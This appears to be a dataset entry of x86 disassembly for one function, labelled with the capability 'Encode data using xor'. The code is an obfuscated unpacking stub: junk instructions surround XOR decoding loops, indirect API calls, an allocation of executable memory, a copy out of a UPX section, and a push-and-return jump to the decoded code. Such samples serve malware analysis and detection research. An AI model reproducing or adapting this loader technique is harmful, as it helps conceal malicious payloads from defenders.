Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x8b304d74
inc ebx
not ecx
add ecx, 0xc5ff667d
popal
not ecx
mov ebx, 0x387a580c
or ecx, ebx
mov eax, 0
mov esi, ecx
and ebx, edx
inc ebx
mov ebx, edx
mov edi, esi
sub ebx, 0xf72ea676
dec edx
sub ebx, edx
mov ecx, edi
sub edx, 0x871860b7
add ebx, edx
mov edx, ebx
inc eax
sub edx, 0x35d050db
sub edx, 1
cmp eax, 0x1001b5c
jne 0xa789ca
sub edx, ebx
mov ebx, 0x7c24829b
add ecx, ebx
mov ebx, 0x8e166b16
add ebx, 0xed3cb5fa
mov ecx, 0xa78796
mov ebx, esi
mov ebx, 0x6d51a7cb
mov eax, 0xa7898a
mov ebx, esi
inc esi
not edx
mov edi, dword [ecx]
mov edx, 0x63ab39e6
add edx, 0x3bb62b7f
and esi, edx
and edi, 0xff
mov edx, 0xf7e9b841
not edx
xor dword [eax], edi
or edx, edx
add ebx, 0xbe5be390
inc eax
or ebx, ebx
and edx, edx
inc ecx
mov esi, ebx
sub esi, 0xb9433d48
add ebx, esi
cmp eax, entry0
jl 0xa78a2b
add ebx, 0xff1e724c
dec esi
or ebx, esi
add esi, 0x4d5447c3
add ebx, 0x5145b8c6
or ebx, edx
mov edi, edx
mov esi, 0xa7898e
dec ebx
inc edx
and ebx, edi
mov esi, dword [esi]
mov edx, ecx
mov ebx, 0xe454a675
sub edi, 0x2cdd5d9d
mov esi, dword [esi]
inc ecx
not ecx
sub esp, 4
mov dword [esp], esi
or edx, ebx
mov ecx, 0x63859d8c
not ecx
mov esi, 0xa7898a
and edx, ebx
sub edi, 0xaf26f556
mov esi, dword [esi]
sub ebx, 0x3da8b717
and ebx, ecx
mov esi, dword [esi]
not ecx
sub ecx, 0xa0782e6
push 0xa78992
mov edx, 0x1e043bb4
sub edx, 0xf01f4aea
call esi
inc ecx
not edi
mov esi, dword [esp]
add esp, 4
add ebx, 0x63363d7c
mov edx, 0xf77ec886
sub esp, 4
mov dword [esp], 0xa7899f
sub ebx, edi
or edi, ebx
sub esp, 4
mov dword [esp], eax
add ebx, 0x384348a
sub ebx, edi
call esi
or edx, ebx
and edx, ecx
push 0x40
add edi, 0x4f805f65
add edx, ecx
push 0x3000
dec ecx
inc ebx
sub edi, ebx
push 0x20000108
mov edx, ecx
dec edi
mov edx, 0xfee54ee9
push 0
not edi
sub edx, 0x8f3a36fe
call eax
and ebx, edi
add ecx, ecx
and ecx, edx
add eax, 0x2000009d
and edi, edx
mov edx, 0xf34cc95e
mov esi, 0xabcd4bc0
add ecx, 1
not ecx
or ecx, edx
mov dword [eax], esi
or edx, ecx
sub ebx, edx
sub ecx, 0x4b9fc0dc
mov esi, dword [eax]
mov ecx, edx
not edx
cmp esi, 0xabcd4bc0
je 0xa78b90
mov eax, 0
mov edx, dword [eax]
add ebx, 0xb11790e1
add ecx, ecx
not ebx
or edx, edx
add edi, 0x88801f0e
and ebx, ecx
dec ecx
not ecx
mov eax, section.UPX1
add ecx, ebx
or ecx, ebx
mov esi, 0xa78795
sub ecx, 0x1782633
not ecx
mov ecx, 0x38f94806
mov edi, 0
add ecx, 0x7ef67ed1
mov ecx, ebx
mov edx, 0xa78796
dec ecx
inc ecx
lea edx, [edi + edx]
mov ecx, 0x4a1d7de
sub ecx, 0x17e64f60
mov edx, dword [edx]
mov ecx, ebx
not ebx
sub ebx, 0x9e1beff2
and edx, 0xff
add ecx, ecx
sub ebx, ecx
and ebx, ecx
inc edi
not ebx
sub ebx, 1
cmp edi, 0x1f4
jne 0xa78c12
mov edi, 0
dec ecx
and ecx, ecx
mov ecx, ebx
add ebx, 0x68e0455e
xor dword [eax], edx
sub ebx, 0xb9ac8a
dec ecx
mov ecx, 0xa6ab396a
add eax, 2
inc ebx
add ecx, 0xe5899d6
add ecx, 0x2a27b01a
cmp eax, esi
jl 0xa78bcf
sub ebx, 0x985cf384
inc ecx
inc ecx
sub ecx, ebx
add ebx, 0xab89b75a
mov edi, section.UPX1
inc esi
add esi, ebx
and ebx, esi
mov eax, section.UPX1
and esi, ebx
sub esi, ebx
or ebx, ebx
mov edx, 0xa78795
mov esi, ebx
mov esi, 0x760ea560
or ebx, esi
mov ecx, 0
not ebx
sub ebx, esi
mov cl, byte [eax]
add ebx, 1
sub esi, 0xca2d4d68
mov byte [edi], cl
sub esi, ebx
sub esi, ebx
inc edi
sub ebx, esi
add ebx, esi
add eax, 2
not esi
dec esi
and ebx, esi
cmp eax, edx
jle 0xa78c82
or ebx, esi
not ebx
dec ebx
or ecx, ebx
not ebx
dec ecx
sub esp, 4
mov dword [esp], 0x8dc6a0
add ebx, 0x39053039
inc ebx
add ecx, ecx
ret